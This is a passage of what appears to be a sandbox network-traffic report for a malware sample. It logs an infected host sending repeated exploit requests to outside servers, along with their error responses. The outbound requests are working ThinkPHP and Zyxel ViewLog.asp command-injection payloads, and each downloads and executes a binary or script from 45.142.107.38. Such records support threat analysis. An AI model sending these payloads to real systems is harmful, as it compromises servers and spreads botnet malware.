Mar 4, 2024 15:06:16.063733101 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:06:15 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	47542	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:17.336836100 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:25Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	45396	112.29.133.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:17.441209078 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:18.161907911 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:16 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	47566	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:18.987627029 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:26Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	51868	94.121.53.220	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:19.318566084 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	35536	112.198.131.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:19.736561060 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	45838	112.74.167.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:19.763830900 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:20.147576094 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	47578	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:19.857742071 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:27Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	44368	112.170.96.13	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.014957905 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:20.293339968 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	40460	112.217.191.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.020967960 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:20.305788040 CET	371	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 04 Mar 2024 14:06:20 GMT Content-Type: text/html; charset=euc-kr Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	47872	112.28.219.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.075750113 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:20.975061893 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:23.351182938 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:24.057552099 CET	469	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:06:23 GMT Content-Type: text/html Content-Length: 249 Connection: close Timing-Allow-Origin: * EagleId: 0000000017095611838788861e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	34906	112.197.130.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.083621979 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:20.471822977 CET	339	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 21:06:20 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	47856	112.28.219.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.084016085 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:20.793818951 CET	469	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:06:20 GMT Content-Type: text/html Content-Length: 249 Connection: close Timing-Allow-Origin: * EagleId: 0000000017095611806125829e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	45468	112.29.133.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.249928951 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:24.887120962 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:25.653872967 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:24 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	50140	94.130.148.65	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.263962030 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:20.806998014 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:20.994815111 CET	1008	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 790 Date: Mon, 04 Mar 2024 14:06:20 GMT Keep-Alive: timeout=20 Connection: keep-alive Server: Apache TomEE Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 20 28 54 6f 6d 45 45 29 2f 39 2e 30 2e 35 36 20 28 38 2e 30 2e 39 29 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat (TomEE)/9.0.56 (8.0.9)</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	35382	94.122.235.162	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.302613974 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	49342	94.29.204.155	8080

Timestamp	Bytes transferred	Direction	Data
